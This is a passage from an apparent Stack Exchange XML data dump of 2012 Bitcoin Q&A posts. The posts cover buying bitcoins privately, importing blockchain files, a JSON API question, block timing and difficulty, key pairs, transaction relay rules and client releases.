rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[Update: You can also buy bitcoins from the UK now using BlockChain.info/wallet thanks to their integration with Barclay's Pingit:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/wallet/deposit-pingit&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/deposit-pingit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or even better, using &quot;Faster Payments&quot; bank transfer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/wallet/deposit-bank-transfer&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/wallet/deposit-bank-transfer&lt;/a&gt; ]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[Update2: Tenakha does many &lt;a href=&quot;http://bitcointalk.org/index.php?topic=108712.0&quot; rel=&quot;nofollow&quot;&gt;person-to-person trades&lt;/a&gt; in London.]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-12-20T06:00:50.993" LastActivityDate="2012-12-20T06:00:50.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4658" PostTypeId="2" ParentId="4654" CreationDate="2012-09-09T04:28:09.897" Score="0" Body="&lt;p&gt;Buying bitcoins is location dependent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paying for a purchase using bitcoins is not location dependent, you can do that from anywhere in the world.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are mixing services that will help protect the privacy of your payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info/wallet provides the ability to send a payment through a mixing service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after you've acquired bitcoins in whatever manner suitable in your location, then send them to your wallet on Blockchain.info/wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access that wallet using Tor.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://Blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;http://Blockchain.info/wallet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-09T04:28:09.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4659" PostTypeId="2" ParentId="4616" CreationDate="2012-09-09T04:56:11.100" Score="5" Body="&lt;p&gt;Once you have bitcoins, there are tools such as mixing services to help increase your privacy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For true anonymity in acquiring bitcoins, cash-in-the-mail provides a method that can be anonymous.  You send an envelope with cash and a bitcoin address.  Voila, bitcoins are acquired anonymously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cash-in-the-mail methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://Get-Bitcoins.com&quot;&gt;Get-Bitcoins.com&lt;/a&gt; - U.S. address, accepts USD.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.quickbitcoins.net&quot;&gt;QuickBitcoins.net&lt;/a&gt; - U.S. address, accepts USD, EUR&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoinnordic.com/cash/index.html&quot;&gt;BitcoinNordic.com&lt;/a&gt; - Danish address, accepts EUR, GBP, DKK, SEK, NOK, USD (others with prior approval as well)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.ssl-id.de/bitcoinsinberlin.com/index.php&quot;&gt;BitcoinsInBerlin.com&lt;/a&gt; - German address, accepts EUR&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-09T04:56:11.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4660" PostTypeId="2" ParentId="1844" CreationDate="2012-09-09T10:41:00.283" Score="7" Body="&lt;p&gt;There is &lt;a href=&quot;http://www.ltc-charts.com&quot;&gt;LTC Charts&lt;/a&gt; with some long term chart data for LTC/BTC from BTC-E and Vircurex.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="105" LastEditDate="2012-09-09T18:41:11.943" LastActivityDate="2012-09-09T18:41:11.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4661" PostTypeId="2" ParentId="4650" CreationDate="2012-09-09T12:58:00.760" Score="4" Body="&lt;p&gt;Assuming all remaining transaction outputs are 0.00000001 BTC (1 satoshi), with one single ouput per transaction left, and all assigned to standard pay-to-pubkey-hash addresses, I'd say the minimal upper bound on the pruned blockchain size is &lt;code&gt;21M * 10^8 * 54&lt;/code&gt; bytes, or about 113 petabyte (100 pebibyte).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 54 bytes per transaction, is calculated as 32 txid bytes, 1 info header byte, 1 byte to store the amount, 20 bytes to store the pubkey hash (address).&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-09-09T12:58:00.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4662" PostTypeId="2" ParentId="1895" CreationDate="2012-09-09T15:16:14.680" Score="2" Body="&lt;p&gt;There is also TimeKoin; see www.timekoin.org&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;5 minutes per block; twice as fast as bitcoin&lt;/li&gt;&#xA;&lt;li&gt;No pre-mined coins.&lt;/li&gt;&#xA;&lt;li&gt;Does not waste CPU cycles for minting coins. Coin minting is controlled by time.&lt;/li&gt;&#xA;&lt;li&gt;Each coin is indivisible; so each TimeKoin is like one Sathoshi.&lt;/li&gt;&#xA;&lt;li&gt;Currently only 450,000 coins in existence.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2012-09-09T15:16:14.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4663" PostTypeId="1" CreationDate="2012-09-09T23:54:39.597" Score="2" ViewCount="2716" Body="&lt;p&gt;I went to &lt;a href=&quot;http://eu1.bitcoincharts.com/blockchain/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://eu1.bitcoincharts.com/blockchain/&lt;/a&gt; and downloaded the most recent build. Then I extracted it and was left with BLK0001.dat and BLK0002.dat. What is the next step? I tried replacing the current BLK files with those and performed a -rescan but that gave me a BLKINDEX  error.&lt;/p&gt;&#xA;&lt;p&gt;My wallet data was backed up by the way. Then I moved my BLKINDEX somewhere safe so it would have to create a new one but this process didn't work because it's building BLK0002.dat still. It was super fast until it reached about 70,000 blocks left and then majorly slowed down. What is the proper way to import it? Is there a special command-line parameter that I should use to fix this?&lt;/p&gt;&#xA;&lt;p&gt;BTW: The whole reason I had to download it separately was because Bitcoin Wallet was taking forever to download the block chain and was stuck around 97% for an eternity!&lt;/p&gt;&#xA;&lt;p&gt;EDIT: Why does this guy even provide this website (noted above) if Blkindex needs to be created anyways?&lt;/p&gt;&#xA;&lt;p&gt;EDIT: I gave up and decided just to use multibit and blockchain.info my wallet. I found a way to store my blockchain address on multibit so I could view it there offline.&lt;/p&gt;&#xA;" OwnerUserId="1871" LastEditorUserId="42868" LastEditDate="2022-08-31T18:36:47.463" LastActivityDate="2022-08-31T18:36:47.463" Title="How do you import Block Chain from bitcoincharts?" Tags="|blockchain|import|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="4664" PostTypeId="2" ParentId="4663" CreationDate="2012-09-10T01:02:12.370" Score="1" Body="&lt;p&gt;If you are using the not-yet-released Bitcoin.org client v0.7, you can use the -loadblock=FILE to import the blockchain from the blk0001.dat file. [Update: actually need to do two of those inline, -loadblock=blk0001.dat -loadblock=blk0002.dat in order to get both to load.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a blockchain with index through block 170,000 here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That is the most complete distribution of the blockchain that I know of where the blkindex.dat is included.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-10-11T20:50:49.990" LastActivityDate="2012-10-11T20:50:49.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4665" PostTypeId="1" AcceptedAnswerId="4666" CreationDate="2012-09-10T01:29:17.410" Score="5" ViewCount="416" Body="&lt;p&gt;I need some help with using JSON and the bitcoin / blockexplorer json calls. I'm not even sure if this is going to work. Basically I'm trying to validate a bitcoin wallet address. I want it to check against the blockexplorer to see if it's a &quot;valid&quot; address or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've done so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function checkAddress(){&#xA;  var address = $('#wallet').val();&#xA;  $.getJSON('http://blockexplorer.com/q/checkaddress/'+address+'?format=json',{&quot;format&quot;:&quot;json&quot;},function(data){&#xA;    alert('xxx == '+data);&#xA;  });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't seem to be doing anything at all.. Is it even possible for me to use the blockexplorer with JSON to get the results? I'm incredibly new to bitcoin and I'm not entirely sure what I'm doing.&lt;/p&gt;&#xA;" OwnerUserId="1872" LastEditorUserId="1842" LastEditDate="2012-09-10T16:17:04.290" LastActivityDate="2012-09-10T16:17:04.290" Title="Why does calling BlockExplorer's checkaddress JSON API do nothing?" Tags="|json-rpc|blockexplorer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4666" PostTypeId="2" ParentId="4665" CreationDate="2012-09-10T03:37:02.770" Score="4" Body="&lt;p&gt;You are trying to cross domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look into jsonp for that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jaubourg/jquery-jsonp&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jaubourg/jquery-jsonp&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-10T03:37:02.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4667" PostTypeId="2" ParentId="4295" CreationDate="2012-09-10T11:07:57.320" Score="0" Body="&lt;p&gt;In theory, yes, more than one block can be solved per 10 minutes on average, although that would require a constant growth in the computing resources. The Bitcoin protocol is created in a way so as to adjust its difficulty and aim to create on average a 6 blocks per hour. Thus no matter how much hardware you throw at Bitcoin, it will readjust itself to handle it and function normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can create more than 2016 blocks at a time at rate greater than 1 per 10 minutes, provided enough resources are available. Having enough computing resources to launch a 51% attack, essentially more than everyone else on the Bitcoin network, one can create blocks with arbitrary timestamps (as long as they follow the protocol). Thus instead of creating blocks that are spaced say, 5 minutes from one another and forcing the network to double the difficulty in one go, you can make multiple of 2016 blocks spaced at say, 9 minutes apart. You can continue to do this until you run out of hardware, essentially creating more than 2016 blocks with an average time between then being less than 10 minutes. This scenario, however, is essentially a 51% attack and would require enormous amount of hardware and electricity to perform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this answers your question.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-10T11:07:57.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4668" PostTypeId="1" AcceptedAnswerId="4669" CreationDate="2012-09-10T19:16:12.933" Score="4" ViewCount="369" Body="&lt;p&gt;We know that the expected average time to solve a block from any given point in time &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3909/what-is-the-expected-time-until-the-next-block-is-found&quot;&gt;is 10 minutes&lt;/a&gt; when the network hash rate matches the current difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as difficulty increases are we going to see more or less variability, or does it stay the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie If we compared a difficulty of 500,000,000 with 500,000, would we see more blocks taking over 60 minutes to be solved, or less blocks, or will there be no difference?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2012-09-10T19:50:41.843" Title="Does variability of block solution time change as difficulty increases?" Tags="|difficulty|hashpower|block-interval|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4669" PostTypeId="2" ParentId="4668" CreationDate="2012-09-10T19:50:41.843" Score="8" Body="&lt;p&gt;The variability is exactly the same no matter the difficulty. It is always an exponentially distributed random variable with mean 10 minutes (the mean could be slightly off if hashrate mismatches difficulty).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we may see in the future however is a reduction in variance due to decrease of the block reward. As transaction fees become a more significant part of the reward, the profitability of mining will increase the more time has passed since the last block; just after a block is found, mining is unprofitable so the hardware may idle/switch to a different task. So the network hashrate will increase with time, meaning that few blocks will be solved quickly (hashrate is too low) and few will take a long time (the hashrate will be high so it won't last long), meaning less variance.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-09-10T19:50:41.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4670" PostTypeId="1" CreationDate="2012-09-10T21:16:22.317" Score="4" ViewCount="566" Body="&lt;p&gt;Based on this, it seems like it did &lt;a href=&quot;http://blockchain.info/p2sh&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/p2sh&lt;/a&gt; but it seems I can't find a definitive answer.&lt;/p&gt;&#xA;" OwnerUserId="1558" LastEditorUserId="2306" LastEditDate="2014-12-13T05:53:12.680" LastActivityDate="2014-12-13T05:56:41.333" Title="Did P2SH (BIP 16) get accepted?" Tags="|protocol|script|p2sh|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4671" PostTypeId="1" CreationDate="2012-09-10T22:13:39.750" Score="2" ViewCount="286" Body="&lt;p&gt;Let's say I have a hot wallet that has passphrase encryption enabled.  Then let's say a large withdrawal needs to occur but the hot wallet has insufficient funds and a transfer from cold storage is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is a spend transaction from cold storage, then those funds cannot be sent from the hot wallet until after one confirmation.  So the withdrawal request isn't served immediately and instead possibly is delayed by tens of minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have an address that already has confirmed funds, and import that into the hot wallet then that can be used for spending right away.  But let's say I don't want to transfer the private key unencrypted to the hot wallet.  I'ld like to simply transfer the private key which has already been encrypted and import that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it at all possible to do this?&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-09-10T22:13:39.750" Title="Is there a way to import a private key already protected with the passphrase?" Tags="|wallet|security|encryption|coldstorage|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4672" PostTypeId="2" ParentId="4670" CreationDate="2012-09-10T23:03:31.040" Score="1" Body="&lt;p&gt;Yes it did, on April 1, 2012.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[removed link to chain of orphaned blocks]&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-22T07:48:20.193" LastActivityDate="2012-09-22T07:48:20.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4673" PostTypeId="1" CreationDate="2012-09-11T14:45:55.243" Score="6" ViewCount="476" Body="&lt;p&gt;To experiment a little with automatic trading I'm looking for a trading api (like mtgox has) which is used on multiple independent websites so that if one goes under that I then don't have to redo my whole program. If possible one from open source bitcoin trading websites so that I can setup one in a vm and use that to test against.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently running my tests against Mt.Gox but that can be a bit expensive when the script doesn't perform too well.&lt;/p&gt;&#xA;" OwnerUserId="1207" LastEditorUserId="1842" LastEditDate="2012-09-11T23:27:32.997" LastActivityDate="2013-03-04T23:17:30.153" Title="Is there a Trading API that spans multiple independent sites, preferably from open source websites?" Tags="|websites|api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4674" PostTypeId="2" ParentId="4673" CreationDate="2012-09-11T22:10:17.780" Score="4" Body="&lt;p&gt;&lt;strong&gt;The Java &lt;a href=&quot;https://github.com/timmolter/XChange&quot; rel=&quot;nofollow&quot;&gt;XChange library&lt;/a&gt; could help&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might not be exactly what you're after, but the XChange project provides a demonstration of a general purpose API for communicating with multiple exchanges. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could repurpose the code to create your own mock trading endpoints and run up a collection of virtual hosts. In this manner you can test against a reasonably well known set of APIs for the usual failure modes.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-09-11T22:10:17.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4675" PostTypeId="1" AcceptedAnswerId="4676" CreationDate="2012-09-12T03:58:26.020" Score="20" ViewCount="14989" Body="&lt;p&gt;What exactly is a private key and public key in relation to Bitcoin? What are they, how are they used, and how does one find out what their private and public keys are?&lt;/p&gt;&#xA;" OwnerUserId="1643" LastActivityDate="2018-04-27T05:28:23.660" Title="What is a private key and a public key?" Tags="|private-key|public-key|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4676" PostTypeId="2" ParentId="4675" CreationDate="2012-09-12T05:40:02.870" Score="12" Body="&lt;p&gt;Both of the keys are a part of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Elliptic_Curve_DSA&quot;&gt;Elliptic Curve Digital Signature Algorithm&lt;/a&gt;. A private key is just a random number, while the public key is a 2D point coordinate on an Elliptic Curve derived from it. The private key is used to sign messages (in case of Bitcoin - the transactions), and the public key is used to check whether the signature is correct. The public key can either be used raw in a transaction, or turned into a &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot;&gt;Bitcoin address&lt;/a&gt; by means of hashing and other operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can use any library that supports the ECDSA curve used by Bitcoin (secp256k1) to generate the appropriate keypair. There are some online solutions for these tasks, for example my small &lt;a href=&quot;http://gobittest.appspot.com/Address&quot;&gt;testing suite website&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, most commonly one leaves key pair generation to the Bitcoin program. If needed be, the private key can be retrieved from the program by using &lt;code&gt;dumpprivkey&lt;/code&gt; &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot;&gt;Bitcoin API&lt;/a&gt; call.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-09-13T00:59:48.850" LastActivityDate="2012-09-13T00:59:48.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4677" PostTypeId="2" ParentId="4673" CreationDate="2012-09-12T06:01:05.320" Score="2" Body="&lt;p&gt;goxcli could also be an interesting codebase to make your own multi exchange trading api, goxcli provides an interesting and a shell api you can use as a backend to build your own frontend on top of it. for no goxcli supports only mtgox, but its open source and you can fork it on github : &lt;a href=&quot;https://github.com/Trasp/GoxCLI&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Trasp/GoxCLI&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see also : &lt;a href=&quot;https://github.com/neofutur/bitcoin_simple_php_tools&quot; rel=&quot;nofollow&quot;&gt;https://github.com/neofutur/bitcoin_simple_php_tools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="558" LastEditorUserId="558" LastEditDate="2013-03-04T23:17:30.153" LastActivityDate="2013-03-04T23:17:30.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4678" PostTypeId="1" AcceptedAnswerId="4679" CreationDate="2012-09-12T13:31:51.050" Score="7" ViewCount="984" Body="&lt;p&gt;According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot;&gt;https://en.bitcoin.it/wiki/Address&lt;/a&gt; site, it states that &quot;most&quot; addresses have a private key.  Here is the relavent text:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Most addresses have a &quot;private key&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For most addresses, there is a corresponding secret number known as a private  key that is required to spend funds previously sent to an address.&#xA;  When using a Bitcoin client, private keys are typically stored in the wallet file. The private key has a special purpose - it is mathematically needed to create valid transactions that spend the funds originally sent to the address. If the private key to an address is lost (for example, in a hard drive crash, fire or other natural disaster), any associated Bitcoins are effectively lost forever.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have always assumed that Bitcoin worked in such a way that all addresses must have a matching private key due to the public/private key encryption on which it is based.  In what cases would a bitcoin address not have a private key?&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2012-09-12T15:13:47.693" Title=" In what cases would a bitcoin address not have a private key?" Tags="|address|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4679" PostTypeId="2" ParentId="4678" CreationDate="2012-09-12T15:13:47.693" Score="8" Body="&lt;p&gt;If an address merely 'looks like' an address and all other aspects of a transaction are ok then miners will include it in a block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been (ab)used to embed ASCII art into the blockchain at the cost of permanently destroying some bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For an example with explanation see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=33618.msg420597#msg420597&quot;&gt;https://bitcointalk.org/index.php?topic=33618.msg420597#msg420597&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1877" LastActivityDate="2012-09-12T15:13:47.693" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4680" PostTypeId="1" AcceptedAnswerId="4683" CreationDate="2012-09-12T15:35:19.943" Score="5" ViewCount="829" Body="&lt;p&gt;Each node has a very clear view of what is valid and what is not. With conflicting blocks (Blockchain fork) or transactions (double-spending attack) it will always choose the first it sees, until it gets prove otherwise (longer blockchain or other transaction is included in a block).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering whether the Satoshi Client relays any of the transactions or blocks he thinks are not valid. So will I ever see a transaction if all my neighbors have seen a conflicting transaction first? Will I see forked blocks if all my neighbors agree on which block came first?&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="105" LastEditDate="2012-09-12T19:43:35.203" LastActivityDate="2012-09-14T04:12:00.343" Title="Do transactions and blocks get relayed even if a node believes them to be invalid?" Tags="|transactions|blockchain|network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4681" PostTypeId="1" AcceptedAnswerId="4682" CreationDate="2012-09-12T17:34:41.487" Score="6" ViewCount="4324" Body="&lt;p&gt;I'm trying to understand the relationships between components in a video card and how it impacts Bitcoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What aspect of a video card is used during mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I can find a Radeon 7950 or 7870 card with a price ranging from $100 to $700 with mainly these specs differing.  I haven't found any performance metric that track Bitcoin to the underlying hardware with this in mind.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any links would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-03-06T19:06:50.287" LastActivityDate="2016-03-06T19:06:50.287" Title="What is better for Bitcoin mining: More stream processors or faster clock?" Tags="|gpu|mining-hardware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4682" PostTypeId="2" ParentId="4681" CreationDate="2012-09-12T19:30:42.533" Score="3" Body="&lt;p&gt;Realistically, it's a multiplier of the two. You can make up for a slower clock with more cores and vice versa, but the number of hashes per second is dependent on both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, I'm not aware of any specific formula to approximate hashes per second for a given clock speed and number of cores.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's important to note, by the way, that the one thing that won't buy you more hashes per second is the complexity of the cores. This is why Nvidia may make great cards for gaming purposes, but they suck for mining - games make better use of exotic new instructions than SHA256 does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Thanks to the table David Schwartz linked to I've been able to estimate that a theoretical AMD GPU core running at 1 MHz can calculate approximately 300 hashes per second. Therefore we can estimate hashes/sec as Cores * Clock * 300. This isn't really all that exact and it seems to over-estimate some cards and under-estimate otheres, even within the same family so I'm guessing ambient temperature and other factors were interfering with test results, but it seems to be an ok estimate in most cases. YMMV. It also fails miserably with older cards, but those get such pathetic hash rates it probably doesn't matter anyway.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-09-12T22:20:18.123" LastActivityDate="2012-09-12T22:20:18.123" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4683" PostTypeId="2" ParentId="4680" CreationDate="2012-09-12T21:45:19.113" Score="4" Body="&lt;p&gt;A block is valid only if it obeys all the protocol rules.  If it is invalid, it will not be relayed:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Invalid_block&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Invalid_block&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now the client does maintain side chains.  So if there is the main branch and a side branch, even though the node included a transaction in the main branch doesn't mean it will reject a block for the side branch just because it too contains the same transaction.  So for each branch it is determined if that block was valid or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is a rule that valid blocks are only relayed if they are added to the (new) main branch / best known chain (thanks to Pieter for the correction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as a new transaction being relayed - if it is invalid for the main branch (e.g., double spend) then it will not be relayed by the node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a transaction is either already in a block in the main branch already (and thus would be rejected if it is a double spend) or it isn't in the main branch and will as a result always be relayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will be relayed even if that transaction is already included in a block in the side chain.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-09-14T04:12:00.343" LastActivityDate="2012-09-14T04:12:00.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4684" PostTypeId="1" AcceptedAnswerId="4685" CreationDate="2012-09-13T00:56:54.093" Score="1" ViewCount="101" Body="&lt;p&gt;The 0.7 version of the standard client is slowly looming, but has not yet been released. Some websites, such as the &lt;a href=&quot;http://testnet.freebitcoins.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;Testnet Faucet&lt;/a&gt; appear to be using that version already. However, not wanting to use a beta release, I'm wondering when the full 0.7 version of the standard client is scheduled to be released?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-09-18T06:59:48.660" Title="When is the version 0.7 of the standard client scheduled to be released?" Tags="|client|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4685" PostTypeId="2" ParentId="4684" CreationDate="2012-09-13T06:52:02.303" Score="5" Body="&lt;p&gt;When it is ready.   There is no &quot;schedule&quot; and no set release date made in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a release candidate is out, generally the only changes are &quot;showstopper&quot; bug fixes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each release candidate needs to be tested.  Only if testing occurs and no showstoppers are identified does the last RC become tagged as the final release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some steps that happen during building the release candidates:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Release_process&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Release_process&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="78" LastEditDate="2012-09-13T09:42:08.953" LastActivityDate="2012-09-13T09:42:08.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4687" PostTypeId="1" AcceptedAnswerId="4693" CreationDate="2012-09-13T12:14:42.767" Score="2" ViewCount="1045" Body="&lt;p&gt;When working directly with bitcoind, I can getRawTransaction for any transaction in the network. The vout has multiple outgoing addresses usually which contain a scriptPubKey. The scriptPubKey has a field called addresses, which is an array. I've only seen transactions with one address in this field. Is it possible to have more, if so, what does that mean? &lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2012-09-14T16:24:37.750" Title="Can a scriptPubKey have multiple addresses?" Tags="|bitcoind|address|json-rpc|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
